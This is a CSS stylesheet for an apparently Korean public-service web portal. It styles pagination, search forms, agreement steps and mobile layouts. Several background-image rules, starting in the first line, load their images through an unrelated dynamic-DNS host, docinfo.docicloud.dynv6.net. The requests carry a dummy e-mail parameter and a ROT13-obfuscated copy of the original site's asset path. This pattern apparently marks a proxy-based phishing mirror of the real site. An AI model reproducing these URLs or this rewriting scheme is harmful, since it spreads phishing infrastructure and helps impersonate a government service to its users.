url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_eo.cat") no-repeat right bottom, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_yp.cat") repeat-y left bottom, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_ep.cat") repeat-y right bottom, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_gp.cat") repeat-x right top, url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Sgvgyr_op.cat") repeat-x right bottom #fff;
}
.titleNew strong:after,.titleNew strong:before{content: "";
    box-shadow: inset 1px 1px 2px rgba(0,0,0,.3);
    display: block; position: absolute; left:32px; top:50%; width: 12px; height: 12px; background: #bbbbbb; border-radius: 180px; margin-top: -8px;}
.titleNew strong:after{left:auto; right:32px;}
.titleNew{text-align: center; display: flex; justify-content: center;}

/*컴포넌트*/
.comp-pagination .total{color:#555; position: relative; top: -5px;}
.comp-pagination .total strong{color:#e6007e;}
.comp-paging-list > div{padding: 0;}
.comp-paging-list > div .top-search{
    width: 100%; border:1px solid #bbbbbb; border-top-color:#777; background: #fff; text-align: left;
    box-shadow: 3px 3px 3px rgba(0,0,0,.14);
    margin-bottom: 30px;
}
.comp-pagination .pagination{margin-top: 20px;}
.comp-pagination .pagination span, .comp-pagination .pagination a{border:1px solid #cccccc; border-radius: 180px; min-width: 30px; height: 30px; padding: 0; line-height: 28px; font-size: 14px; color:#555; margin: 0 2px;}
.comp-pagination .pagination a.active{color:#0e4194; border-color: #0e4194; background-color: #e0ecff;}
.search-form{padding: 10px 150px 10px 20px;}
.search-form button{position: absolute; right:20px; top:10px; padding: 0 35px; border-radius: 7px; font-weight: 500; font-size: 17px;}
.search-form .comp-search-text input{background: #f9f9f9;}
.search-form button i{margin-right:6px;}
.table-title h3.titleH3{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Spwgvgyr.cat") no-repeat left center; font-size: 22px; color:#333; font-weight: 600; transform: rotate(-0.03deg); padding-left: 30px; letter-spacing: -1px; border: 0;}
.table-title{margin-bottom: 15px;}
.comp-pagination i:before{font-size: 0;}
.comp-pagination i.fa-angle-double-left{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SneeQY.cat") no-repeat center; width: 13px; margin: 0;}
.comp-pagination i.fa-angle-left{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SneeY.cat") no-repeat center; width: 13px; margin: 0;}
.comp-pagination i.fa-angle-double-right{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SneeQE.cat") no-repeat center; width: 13px; margin: 0;}
.comp-pagination i.fa-angle-right{background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2SneeE.cat") no-repeat center; width: 13px;  margin: 0;}
.comp-pagination a:hover,.comp-pagination span:hover{background-color: #f9f9f9; border-color: #333; }

.comp-form-box textarea{background-color: #f9f9f9;}
/* web */
@media screen and (max-width:1300px){
    .con-wrap{width:100%}
    .compBox:after{right: 0;}
}
@media screen and (max-width:1100px){
    .con-wrap.work{flex-wrap: wrap; }
    .work-box-list{
        width: calc(100% / 2.1);
    }
}
@media screen and (max-width:1024px){
   /* .user-area{top:10px}*/
    .table-scroll table{width:1200px}
    .table-scroll{position: relative; display: block; overflow: auto; width:100%;}
    .r-gnb span{line-height:2rem;  padding:3px 15px }
    .comp-paging-list > div{padding:10px 20px}
    .titleNew strong{font-size: 1.5rem !important; line-height: 120%;}
    .comp-form-box .field label + div *{margin-bottom: 5px;}
    .compBox:after{display: none;}
}

/* tablet */
@media screen and (max-width:980px){
    .comp-date-picker span{margin-bottom: 10px}
    /*신청완료*/
    .agree-step1 .agree-tit,
    .agreeArea1,.agree-tit{width:100%;}
    .con-wrap h1{font-size:1.7rem}
    .agree-step2 h3{font-size:1.4rem}
    .complete-txt p:nth-child(1){font-size:0.98rem}
    .compBox{min-height: 10%; margin-top: 20px;}
    .work-form .titleH2{font-size: 1.2rem;}
    .editor-content {overflow: hidden; border: 0; box-sizing: border-box;}
}


/* mobile */
@media screen and (max-width:780px){
    .header h1{font-size:2rem}
    .comp-paging-list > div .top-search{width:100%}
    .complete-txt p:nth-child(2){line-height: 1.35rem}
    .comp-input-attach input,.comp-input-attach button{margin-bottom:10px;}
    .comp-input-attach input{display: block; width:100% !important}
    .comp-input-attach>div{left:0!important; border-bottom:none}
    .write-list .field .comp-date-range-picker{text-align:center}
    div.field span.req{padding:0; display: inline-block}
    div.field label{line-height: 1.6rem}
    comp-date-picker span{margin-bottom: 10px;}
    .write-list .field div{text-align:center}
    .comp-road-juso input.address{width:100%; margin:5px 0}
    .comp-date-range-picker span.inline-block{display: none !important}
    .table-list,.table-list dl{display: block; border-left: 0;}
    .step4 .field label:before{top:11px}
    .work-box-list{width: calc(100% / 1);}
    .header_new .header h1 a img{max-width: 90%; margin: 0 auto;}
    .header_new{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Shagnpg.purbatwh.tb.xe%2Serfbheprf%2Spff%2S..%2Svzntrf%2Surnqre_ot2.cat) no-repeat right top, linear-gradient(-90deg, rgba(32, 109, 189, 1) 30%, rgba(127, 190, 38, 1) 70%);}
    .header_new .header h1 a:before{display: none;}
    fieldset legend span, .titleH3 span{width: 100%;}
    .search-form .comp-search-text{width: 100%;}
    .comp-form-box .step4 .field label:before{margin-top: 1px;}
   }

@media screen and (max-width:640px){
    .header .logo{position: relative; margin:0 auto; left:auto; top:auto; display: block}
    .header h1{font-size:1.7rem}
    h2{ font-size:1.1rem; line-height: 1.3rem; padding-left:25px}
    h2:before{background-size:80%;top:4px}
    div.field div,
    div.field.wd-third,
    .field.wd-half,
    .write-list .field label{display: block; width:100% !important; border-left: 0 !important; white-space: normal;
        word-break: break-word;}
    .compBox + .foot-btn-group a.checkBtn{font-size: 1.1rem; min-width:100%; padding: .5rem;}
    .con-wrap{width:100%}
    .user-area{padding:7px 0}
    .r-gnb a, .r-gnb span{font-size:0.8125rem; font-weight:400}
    .content-area{padding-top:0}
    /*.table-list table{width:800px}*/
    .table-list{position: relative; display: block; overflow: auto; width:100%; }
    .field label, .field div{font-size:0.8rem}
    .btn-group a,
    .btn-group button,
    .foot-btn-group button, .foot-btn-group a{display: block; margin:5px 0; width:100%; padding:8px 0;}
    .agreeArea{padding:20px; width:100%}
    h2.sign-tit{width:100%; margin:20px auto; font-size:1.2rem; box-sizing: border-box; padding:15px 0;text-align: center}
    .circle-box{width:100%}
    .agree-step2 .agree-tit{width:100%; margin:20px auto}
    .phone:before{display: none;}
    .compBox{margin: 0; margin-top: 20px; min-height: 10%; padding: 1rem;}
    .compBox .agree-tit{margin: 0; padding: 0; margin-bottom: 10px;}
    .compBox + .foot-btn-group{margin-top: 30px !important;}
}

@media screen and (max-width:480px){
    .header h1{font-size:1.38rem;}
    .header .logo img{background-size:contain; width:78px; height:37px; }
    .con-wrap h1{font-size:1.3rem}
    .box-area h2, .work-box h2{font-size:1rem;}
    .box-area h2:before, .work-box h2:before{width:15px; height:15px; background-size:contain;  }
    fieldset{padding:0; box-sizing: border-box; width:100%;}
    fieldset *{box-sizing: border-box;}
    .agreeArea{margin:10px auto}
    .field-list label, .field-list span{font-size:0.8125rem}
    .search-form .comp-search-text{width:100% }
    .search-form button{
        display:block;
        width:calc(100% - 20px);
        margin: 0;
        right: 10px;
        top:auto;
        padding: 0;
        bottom: 10px;
    }
   /* .table-list thead th,.table-list td{font-size:0.81rem}*/
    .table-scroll table{width:600px}
    .table-list table{width:500px}
    .agreeArea{padding:15px}
    .agreeArea h3{ font-size:1.22rem}
    .complete-txt p:nth-child(1){font-size:1rem; }
    .complete-txt p{line-height:1.4rem; font-size:0.9rem}
    .comp-road-juso button,
    .comp-road-juso input.zip-no,
    .comp-road-juso input.address{width:100%; margin:5px 0}
    .write-list .field span{display: block}
    .work-form{padding:20px 15px}
    .data_group.table-list dl dt span{font-size: .83rem;}
    .data_group.table-list dl dd{font-size: .87rem;}
    .data_group.table-list + .btn-group a, .data_group.table-list + .btn-group button{font-size: .9rem;}
    .header_new .r-gnb a, .header_new .r-gnb span{font-size: .83rem;}
    .header_new .header h1{min-height:75px;}
    .phoneG{background-size:100%; }
    .header_new .r-gnb span{padding-top: 2px;}
    .titleNew strong{font-size: 1.3rem !important;}
    .work-form .titleH2{font-size: 1.1rem;}
    .chekgroup input[type="checkbox"] + label{font-size: .87rem;}
    .agreeArea, .agreeArea1{font-size: .87rem; }
    .comp-paging-list > div{padding: 0;}
    .work-form{padding: 0;}
    .search-form{padding: 10px 10px 60px 10px;}
    .comp-pagination .total{display: block; width: 100%; text-align: left;}
    .step4 *,.step4{min-width: 10%; }
    .work-form fieldset > .field{padding-right: 0;}
    .step4 .comp-code-select,.step4 .comp-code-select *{width: 100%;}
}
.certBtn{position: absolute; bottom:40px; left:15%; border: 1px solid #418989; box-shadow: 2px 2px 3px rgba(0,0,0,.2); width:70%; box-sizing: border-box; border-radius: 15px; padding: 10px 20px; font-size: 20px; font-weight: bold; color:#418989; background-color: rgba(65, 137, 137, 0.2); }
.certBtn:hover,.certBtn:focus{ background-color: #418989; color:#fff; }

.flatpickr-current-month .numInputWrapper{padding-right: 20px;}
.flatpickr-current-month .numInputWrapper span.arrowDown:after {
    border-top-color:#fff;
}
.flatpickr-current-month .numInputWrapper span.arrowUp:after{
    border-bottom-color: #fff;
}